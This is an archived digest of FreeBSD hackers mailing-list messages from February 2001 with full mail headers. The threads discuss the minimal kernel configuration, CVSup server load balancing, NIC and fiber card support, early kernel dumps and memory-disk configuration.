"unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:26:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id 61CB837B6A2 for ; Fri, 2 Feb 2001 09:26:12 -0800 (PST) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f12HOOi17815; Fri, 2 Feb 2001 12:24:25 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <00e401c08d3e$3dc6c760$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Daryl Chance" , References: <003901c08b9d$107b0d40$0200000a@mike> <20010131233508.A70852@xor.obsecurity.org> <001b01c08c54$653b4ae0$0200000a@mike> <008201c08c94$739d48f0$1200a8c0@gsicomp.on.ca> <001501c08d32$9a2e9840$0200000a@mike> Subject: Re: Moving to KLM's Date: Fri, 2 Feb 2001 12:33:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > this isn't what i was asking....FWIW, my current kernel is 1.4M :P. > > What i'm wanting to know is what is the minimal kernel (meaning what > HAS to be there for it to boot) that can be compiled. I want to try using > the KLM feature for pretty much everything (if_dc, if_ed, ipfw, nfs, etc > etc), > mostly just so i can learn more about FBSD. Processor support (machine, cpu), options COMPAT_43, FFS, FFS_ROOT, bus devices (device isa, pci), some sort of drive subsystem (SCSI -> device ahc, scbus, da or ATA -> device ata, atadisk, ata0) and system console support (device sc0, vga0) and keyboard support (device atkbdc0/atkbd0). If you want serial console support, then you can swap out the keyboard stuff for serial support (device sio) That's about the minimal stuff you need. You need bus, disk, filesystem and user input/output support in the kernel before you can load KLDs. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:34: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from c014.sfo.cp.net (c014-h024.c014.sfo.cp.net [209.228.12.88]) by hub.freebsd.org (Postfix) with SMTP id 3AEFC37B6A6 for ; Fri, 2 Feb 2001 09:33:47 -0800 (PST) Received: (cpmta 24346 invoked from network); 2 Feb 2001 09:33:45 -0800 Received: from m12hRs4n205.midsouth.rr.com (HELO mike) (24.95.125.205) by smtp.valuedata.net (209.228.12.88) with SMTP; 2 Feb 2001 09:33:45 -0800 X-Sent: 2 Feb 2001 17:33:45 GMT Message-ID: <001101c08d3e$4f855200$0200000a@mike> From: "Daryl Chance" To: "Matthew Emmerton" , References: <003901c08b9d$107b0d40$0200000a@mike> <20010131233508.A70852@xor.obsecurity.org> <001b01c08c54$653b4ae0$0200000a@mike> <008201c08c94$739d48f0$1200a8c0@gsicomp.on.ca> <001501c08d32$9a2e9840$0200000a@mike> <00e401c08d3e$3dc6c760$1200a8c0@gsicomp.on.ca> Subject: Re: Moving to KLM's Date: Fri, 2 Feb 2001 11:33:51 -0600 Organization: ValueData, LLC MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks. If i make this "MIN" config file, would anyone want a copy? Or should I send it to the list and have it looked over and see about submitting it for commit? thanks, - Daryl Chance | And which parallel universe did ValueData, LLC | YOU crawl out of? Memphis, TN | - http://www.thinkgeek.com ----- Original Message ----- From: "Matthew Emmerton" To: "Daryl Chance" ; Sent: Friday, February 02, 2001 11:33 AM Subject: Re: Moving to KLM's > > this isn't what i was asking....FWIW, my current kernel is 1.4M :P. > > > > What i'm wanting to know is what is the minimal kernel (meaning what > > HAS to be there for it to boot) that can be compiled. I want to try using > > the KLM feature for pretty much everything (if_dc, if_ed, ipfw, nfs, etc > > etc), > > mostly just so i can learn more about FBSD. > > Processor support (machine, cpu), options COMPAT_43, FFS, FFS_ROOT, bus > devices (device isa, pci), some sort of drive subsystem (SCSI -> device ahc, > scbus, da or ATA -> device ata, atadisk, ata0) and system console support > (device sc0, vga0) and keyboard support (device atkbdc0/atkbd0). If you > want serial console support, then you can swap out the keyboard stuff for > serial support (device sio) > > That's about the minimal stuff you need. You need bus, disk, filesystem and > user input/output support in the kernel before you can load KLDs. > > -- > Matt Emmerton > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:46:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from uucp.nl.uu.net (uucp.nl.uu.net [193.79.237.146]) by hub.freebsd.org (Postfix) with ESMTP id 3FB7437B698 for ; Fri, 2 Feb 2001 09:46:34 -0800 (PST) Received: from jaknl by athos.nl.uu.net with UUCP id ; Fri, 2 Feb 2001 18:46:17 +0100 Received: from jak.nl ([192.168.0.30]) by jak.nl (8.8.8/8.8.8) with ESMTP id SAA02553; Fri, 2 Feb 2001 18:55:13 +0100 (CET) (envelope-from arjan@jak.nl) Message-ID: <3A7AF236.CC5667BC@jak.nl> Date: Fri, 02 Feb 2001 18:45:26 +0100 From: Arjan Knepper Organization: JAK++ Software Development B.V. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh Cc: hackers FreeBSD Subject: Re: Realtek card support References: <3A7A7237.B1C8D34@jak.nl> <200102021651.f12Gpr945351@harmony.village.org> Content-Type: multipart/mixed; boundary="------------34DAE6D86D169B0BE134DB6F" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------34DAE6D86D169B0BE134DB6F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Warner Losh wrote: > In message <3A7A7237.B1C8D34@jak.nl> Arjan Knepper writes: > : I'm using a PCMCIA CARDBUS version of the card in -CURRENT > : whitout any problems > > What's the make/model of this card? I knew one existed, but not the > make/model of it. > > Warner Its a Dynalink L100CLV 10/100Mbps LAN see http://www.dynalink.com/english/index.html Arjan --------------34DAE6D86D169B0BE134DB6F Content-Type: text/x-vcard; charset=us-ascii; name="arjan.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Arjan Knepper Content-Disposition: attachment; filename="arjan.vcf" begin:vcard n:Knepper;Arjan tel;fax:+31-(0)10-243-7314 tel;work:+31-(0)10-243-7362 x-mozilla-html:FALSE url:http://www.jak.nl org:JAK++ Software Development B.V. adr:;;Stoveer 247;Rotterdam;;3032 GB;Netherlands version:2.1 email;internet:arjan@jak.nl x-mozilla-cpt:;-7904 fn:Arjan Knepper end:vcard --------------34DAE6D86D169B0BE134DB6F-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:55: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 3EE6637B4EC for ; Fri, 2 Feb 2001 09:54:42 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f12Hsd278546; Fri, 2 Feb 2001 09:54:39 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.1/8.11.0) id f12Hscu03043; Fri, 2 Feb 2001 09:54:38 -0800 (PST) (envelope-from jdp) Date: Fri, 2 Feb 2001 09:54:38 -0800 (PST) Message-Id: <200102021754.f12Hscu03043@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Reply-To: hackers@freebsd.org Cc: julian@elischer.org Subject: Re: CVSup7.FreeBSD.org is back in service In-Reply-To: <3A79145A.39CF9671@elischer.org> References: <200101312315.f0VNFwR04246@vashon.polstra.com> <3A79145A.39CF9671@elischer.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <3A79145A.39CF9671@elischer.org>, Julian Elischer wrote: > > I have the folowing suggestion for CVSup.. > the ability to specify several servers. > Cvsup can have a quick exchange with each to inquire about load and check the > latency and bandwidth > and the last time updated, and choose the best.... > Since you control both ends this is possible.. This is a frequently requested feature, but I've always been reluctant to provide it. Human nature being what it is, I'm afraid soon everybody would have 15 servers listed in their supfiles. So 15 servers would get hit on each update instead of just one. It is true that the load query wouldn't hit the servers nearly as hard as an actual update. But it would require forking a process at least. (Yes, it could be done by creating a thread, but experience has shown that to be a bad idea. All you need is one client doing something weird to trigger a bug in the server, and poof, the master server has crashed. It's a lot safer to isolate each client in its own process as quickly as possible.) Also, the loads on the mirrors I've observed vary erratically and rapidly. Servers can and do go from 20 clients to 3 clients in a matter of seconds. So the results of a load query 15 seconds ago aren't all that valuable, nor are figures representing load averages over time. I would rather leave load balancing out of the CVSup protocol and have it implemented by other means. The folks who run the mirrors in Japan have a very nice setup which uses SNMP to query the number of active CVSup clients on each mirror. They don't do automatic load balancing with it currently, but they make some nice graphs available on the web for people to use. (Sorry, I don't remember the URL.) John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:58:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 2048E37B4EC for ; Fri, 2 Feb 2001 09:58:00 -0800 (PST) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id MAA08001; Fri, 2 Feb 2001 12:57:52 -0500 (EST) Date: Fri, 2 Feb 2001 12:57:51 -0500 (EST) From: "Matthew N. Dodd" To: wkb@freebie.demon.nl Cc: Nick Meverden , freebsd-hackers@FreeBSD.ORG Subject: Re: NEED HELP: fiber card In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 2 Feb 2001 wkb@freebie.demon.nl wrote: > I'm afraid a DEFPA is really != a 3COM. DEFPA is a DEC design, which > I think uses DEC-specific chips > > My DEFPAs are at home so I cannot easily check right now. I'm aware of 1 3com card that is a rebadged DEFPA. Others appear to have similar/same components but are configured differently. I've compared a few side by side but never gotten around to trying to make the fea/fpa drivers work with them. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:59: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 8616E37B401 for ; Fri, 2 Feb 2001 09:58:40 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f12HwZC01055; Fri, 2 Feb 2001 09:58:35 -0800 (PST) Date: Fri, 2 Feb 2001 09:58:34 -0800 From: Alfred Perlstein To: Peter Wemm Cc: Lars Eggert , freebsd-hackers@FreeBSD.ORG Subject: Re: capturing an early kernel dump Message-ID: <20010202095834.Y26076@fw.wintelcom.net> References: <3A7A3180.35697C0E@isi.edu> <200102020739.f127dUW23005@mobile.wemm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102020739.f127dUW23005@mobile.wemm.org>; from peter@netplex.com.au on Thu, Feb 01, 2001 at 11:39:30PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Peter Wemm [010201 23:40] wrote: > Lars Eggert wrote: > > > [Repost from last week, no answer then.] > > > > How do I capture an early kernel dump (before rc executes and sets > > dumpdev)? > > > > The dump partition used to be an option in the kernel config file, but that > > seems to have changed in 3.X or 4.X. > > > > Thanks, > > Lars > > How early? We could dump if you were prepared to hardwire in the minor and > major device numbers to get to the devsw[] vectors and manually set the > offsets. > > The biggest problem is that if it is Really Early (TM) we may not have read > the disk label and may not be able to see what the partitions look like. It > may need to be blindly dumped using a magic offset that you supply > somewhere and *hope* that you get the numbers correct so you dont trash > something. > > Alternatively.. dedicate a disk for it and just start dumping to the beginning > of the disk and work upwards... Well, doesn't the loader understand UFS? Why not have it pass the major/minor to the kernel? That way the loader can pass/set the dumpdev pretty safely by looking in /dev. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 10:25:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from privatecube.privatelabs.com (unknown [63.114.185.254]) by hub.freebsd.org (Postfix) with ESMTP id 1A57537B491; Fri, 2 Feb 2001 10:24:55 -0800 (PST) Received: from misha.privatelabs.com (root@misha.plten [10.0.0.106]) by privatecube.privatelabs.com (8.9.3/8.9.2) with ESMTP id NAA01637; Fri, 2 Feb 2001 13:45:02 -0500 Received: from virtual-estates.net (mi@localhost [127.0.0.1]) by misha.privatelabs.com (8.11.1/8.9.3) with ESMTP id f12IOnP52352; Fri, 2 Feb 2001 13:24:51 -0500 (EST) (envelope-from mi@virtual-estates.net) Message-Id: <200102021824.f12IOnP52352@misha.privatelabs.com> Date: Fri, 2 Feb 2001 13:24:48 -0500 (EST) From: mi@aldan.algebra.com Subject: Re: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERI C) To: Dima Dorfman Cc: phk@critter.freebsd.dk, jhb@FreeBSD.org, hackers@FreeBSD.org In-Reply-To: <20010202025501.D4BB73E02@bazooka.unixfreak.org> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1 Feb, Dima Dorfman wrote: = [cvs-(all|commiters) -> -hackers] = = > >> If anybody writes a patch to mdconfig to DTRT based on some = > >> less bogus /etc/fstab entries, I'll happily review and commit it. I, personally, liked the mount_mfs interface. Could it get redone to use md? Although the memory disks are a separate animal, of course, and don't even have to have a file-system on them, necessarily. = > >Does this sort of functionality really belong in mdconfig? = > = > Not by definition, and I'm not religious about it. = = Okay, any objections then to jhb's configuration file idea? The idea = is that mdconfig parses a file (md.conf or something) and sets up some = memory disks accordingly, including optional disklabel/newfs stuff. -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 10:27:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from urban.iinet.net.au (urban.iinet.net.au [203.59.24.231]) by hub.freebsd.org (Postfix) with ESMTP id D783137B491 for ; Fri, 2 Feb 2001 10:26:58 -0800 (PST) Received: from elischer.org (reggae-14-13.nv.iinet.net.au [203.59.77.13]) by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id CAA30344 for ; Sat, 3 Feb 2001 02:26:56 +0800 Message-ID: <3A7AFBD6.1F727137@elischer.org> Date: Fri, 02 Feb 2001 10:26:30 -0800 From: Julian Elischer X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en, hu MIME-Version: 1.0 To: hackers@freebsd.org Subject: Re: CVSup7.FreeBSD.org is back in service References: <200101312315.f0VNFwR04246@vashon.polstra.com> <3A79145A.39CF9671@elischer.org> <200102021754.f12Hscu03043@vashon.polstra.com> Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Polstra wrote: > > In article <3A79145A.39CF9671@elischer.org>, > Julian Elischer wrote: > > > > I have the folowing suggestion for CVSup.. > > the ability to specify several servers. > > Cvsup can have a quick exchange with each to inquire about load and check the > > latency and bandwidth > > and the last time updated, and choose the best.... > > Since you control both ends this is possible.. > > This is a frequently requested feature, but I've always been reluctant > to provide it. Human nature being what it is, I'm afraid soon > everybody would have 15 servers listed in their supfiles. So 15 > servers would get hit on each update instead of just one. It is > true that the load query wouldn't hit the servers nearly as hard as > an actual update. But it would require forking a process at least. your program could still reject if it was full, like it does now. Only servers with capacity would respond.. Also, clients would be gone quicker as they would be choosing better servers for their location. One might say that the number of extra load caused by a flaky connection can be as great as the 2 or 3 KB to be sent in a quick response test. > > (Yes, it could be done by creating a thread, but experience has shown > that to be a bad idea. All you need is one client doing something > weird to trigger a bug in the server, and poof, the master server has > crashed. It's a lot safer to isolate each client in its own process > as quickly as possible.) > > Also, the loads on the mirrors I've observed vary erratically and > rapidly. Servers can and do go from 20 clients to 3 clients in a > matter of seconds. So the results of a load query 15 seconds ago > aren't all that valuable, nor are figures representing load averages > over time. I'm more interested in line throughput, and whether a partiular server is just 'full' > > I would rather leave load balancing out of the CVSup protocol and have > it implemented by other means. The folks who run the mirrors in Japan > have a very nice setup which uses SNMP to query the number of active > CVSup clients on each mirror. They don't do automatic load balancing > with it currently, but they make some nice graphs available on the web > for people to use. (Sorry, I don't remember the URL.) Another feature that would be nice is to query from a server who doesn't have some collection, "well who does?" Last time I checked, to get ports, I had to use a server other than the closed Aus. server.. so I end up getting everything from the USA -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000-2001 ---> X_.---._/ v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 10:45:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 9DD1D37B491 for ; Fri, 2 Feb 2001 10:45:14 -0800 (PST) Received: from isi.edu (hbo.isi.edu [128.9.160.75]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18520; Fri, 2 Feb 2001 10:45:05 -0800 (PST) Message-ID: <3A7B0013.EA93C63F@isi.edu> Date: Fri, 02 Feb 2001 10:44:35 -0800 From: Lars Eggert Organization: USC Information Sciences Institute X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en, de MIME-Version: 1.0 To: Peter Wemm Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: capturing an early kernel dump References: <200102020816.f128GEW23386@mobile.wemm.org> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msF2592F47A40EA6B5423554AC" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a cryptographically signed message in MIME format. --------------msF2592F47A40EA6B5423554AC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Peter Wemm wrote: > > Lars Eggert wrote: > > I'm playing with the networking code; by that time, the disks should have > > been probed. > > Hmm.. driver or stack? If it is a driver, then why not just kldload it? Stack. > If you do a boot -v, you should see something like: 'creating disk ad0' > and/or 'wd0' on RELENG_4 boxes, that is after interrupts are enabled and > the minidisk layer can get to the disk partition info. It is probably too > late for network stack stuff by then though as the stacks are initialized > earlier. See sys/kernel.h for the SYSINIT ordering. > > Have a look at kern/kern_shutdown.c, setdumpdev(). Note the call to > devsw->d_psize() - that gets the number of blocks in the partition. > If you boot to multi-user you might be able to get these magic values > and hardwire the bootstrap to set these values and dumpdev. Ah, yes, I'll try that. > However... there is a BIG difference between RELENG_4 and -current in this > area right how. In RELENG_4, dev_t (and hence dumpdev) is a simple integer > for the minor/major number. I'm using 4.2-RELEASE+KAME, actually, since I depend on recent KAME/ALTQ changes, which aren't in -STABLE or -CURRENT. (Side note: AFAIK KAME in RELENG_4/CURRENT is still a version from 7/2000, and ALTQ isn't merged... will that be updated anytime soon?) > Seriously though, please thoroughly check out the KLD module option and see > if you can get that to work somehow. Unfortunately not an option... -- Lars Eggert Information Sciences Institute http://www.isi.edu/larse/ University of Southern California --------------msF2592F47A40EA6B5423554AC Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIIIwYJKoZIhvcNAQcCoIIIFDCCCBACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC BfQwggLYMIICQaADAgECAgMDIwUwDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDgyNDIwMzAwOFoXDTAxMDgyNDIwMzAw OFowVDEPMA0GA1UEBBMGRWdnZXJ0MQ0wCwYDVQQqEwRMYXJzMRQwEgYDVQQDEwtMYXJzIEVn Z2VydDEcMBoGCSqGSIb3DQEJARYNbGFyc2VAaXNpLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAz1yfcNs53rvhuw8gSDvr2+/snP8GduYY7x7WkJdyvcwb4oipNpWYIkMGP214 Zv1KrgvntGaG+jeugAGQt0n64VusgcIzQ6QDRtnMgdQDTAkVSQ2eLRSQka+nAPx6SFKJg79W EEHmgKQBMtZdMBYtYv/mTOcpm7jTJVg+7W6n04UCAwEAAaN3MHUwKgYFK2UBBAEEITAfAgEA MBowGAIBBAQTTDJ1TXlmZkJOVWJOSkpjZFoyczAYBgNVHREEETAPgQ1sYXJzZUBpc2kuZWR1 MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAUiKvxYINmVfTkWMdGHcBhvSPXw4wwDQYJKoZI hvcNAQEEBQADgYEAi65fM/jSCaPhRoA9JW5X2FktSFhE5zkIpFVPpv33GWPPNrncsK13HfZm s0B1rNy2vU7UhFI/vsJQgBJyffkLFgMCjp3uRZvBBjGD1q4yjDO5yfMMjquqBpZtRp5op3lT d01faA58ZCB5sxCb0ORSxvXR8tc9DJO0JIpQILa6vIAwggMUMIICfaADAgECAgELMA0GCSqG SIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD VQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9D ZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29u YWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0 ZS5jb20wHhcNOTkwOTE2MTQwMTQwWhcNMDEwOTE1MTQwMTQwWjCBlDELMAkGA1UEBhMCWkEx FTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoT BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv bmFsIEZyZWVtYWlsIFJTQSAxOTk5LjkuMTYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGB ALNpWpfU0BYLerXFXekhnCNyzRJMS/d+z8f7ynIk9EJSrFeV43theheE5/1yOTiUtOrtZaeS Bl694GX2GbuUeXZMPrlocHWEHPQRdAC8BSxPCQMXMcz0QdRyxqZd4ohEsIsuxE3x8NaFPmzz lZR4kX5A6ZzRjRVXjsJz5TDeRvVPAgMBAAGjNzA1MBIGA1UdEwEB/wQIMAYBAf8CAQAwHwYD VR0jBBgwFoAUcknCczTGVfQLdnKBfnf0h+fGsg4wDQYJKoZIhvcNAQEEBQADgYEAa8ZZ6TH6 6bbssQPY33Jy/pFgSOrGVd178GeOxmFw523CpTfYnbcXKFYFi91cdW/GkZDGbGZxE9AQfGuR b4bgITYtwdfqsgmtzy1txoNSm/u7/pyHnfy36XSS5FyXrvx+rMoNb3J6Zyxrc/WG+Z31AG70 HQfOnZ6CYynvkwl+Vd4xggH3MIIB8wIBATCBnDCBlDELMAkGA1UEBhMCWkExFTATBgNVBAgT DFdlc3Rlcm4gQ2FwZTEUMBIGA1UEBxMLRHVyYmFudmlsbGUxDzANBgNVBAoTBlRoYXd0ZTEd MBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt YWlsIFJTQSAxOTk5LjkuMTYCAwMjBTAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkq hkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDIwMjE4NDQzNVowIwYJKoZIhvcNAQkEMRYE FA9Es0Fa2nzpeiP5TzGDJ1R1AKcYMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYI KoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0G CSqGSIb3DQEBAQUABIGAkyd7DDSoc0FOaoUL9IuyQl03ePeBX7Hlhaq6KTcL6u9Lxk/S3QhR 7OfgDQMWwLRGX6MRue/cT1k4PKUQYMwpV7s4rU8CpFhDTu8OvDxbNhYXVyKlJUJfYS312WVk czee0AqIGj6//VEDH2yiZG+itmMyyIiTcwfbWlXsSZ/2CRA= --------------msF2592F47A40EA6B5423554AC-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 11: 6:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.oregonfast.net (mail.oregonfast.net [63.228.228.11]) by hub.freebsd.org (Postfix) with SMTP id A06D337B4EC for ; Fri, 2 Feb 2001 11:06:15 -0800 (PST) Received: (qmail 26922 invoked by uid 89); 2 Feb 2001 19:06:13 -0000 Message-ID: <20010202190613.26921.qmail@mail.oregonfast.net> References: <20010202052101.97419.qmail@mail.oregonfast.net> <20010202053817.98631.qmail@mail.oregonfast.net> In-Reply-To: <20010202053817.98631.qmail@mail.oregonfast.net> From: "Dan Langille" To: "James" Cc: freebsd-hackers@freebsd.org, freebsd-stable@freebsd.org Subject: Re: panic: ufs_dirbad: bad dir Date: Fri, 02 Feb 2001 19:06:13 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sender: dan@evilcode.com Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG James writes: > You might also wanna try installing the same /kernel and /modules that you > were when it panic'd, while you have the drive mounted on another box. That's a point. I'll try that now. BTW: Someone sent me this: http://freebsd.sinica.edu.tw/pipermail/freebsd-taiwan-questions/2000-Novembe r/000066.html But I can't read that langauge... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 11:17: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 1ED8A37B4EC for ; Fri, 2 Feb 2001 11:16:35 -0800 (PST) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f12JGA389440; Fri, 2 Feb 2001 11:16:10 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010202122754.F328@ringworld.oblivion.bg> Date: Fri, 02 Feb 2001 11:16:15 -0800 (PST) From: John Baldwin To: Peter Pentchev Subject: Re: Suboptimal mmap of devices on i86 Cc: Matt Dillon Cc: Matt Dillon , Drew Eckhardt , freebsd-hackers@FreeBSD.org, Doug White Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 02-Feb-01 Peter Pentchev wrote: > On Thu, Feb 01, 2001 at 01:19:24PM -0800, John Baldwin wrote: >> >> On 01-Feb-01 Doug White wrote: >> > On Mon, 29 Jan 2001, John Baldwin wrote: >> > >> >> Then only rename it in 4.x We can do an API change for 5.0. We'll be >> >> renaming syscall2() back to syscall() in 5.0 for example. We don't >> >> want to end up with syscall47() someday in FreeBSD 67.2. :-P >> > >> > And what happens to apps using the previous syscall(2) interface? They >> > die horribly? That's not acceptable. >> 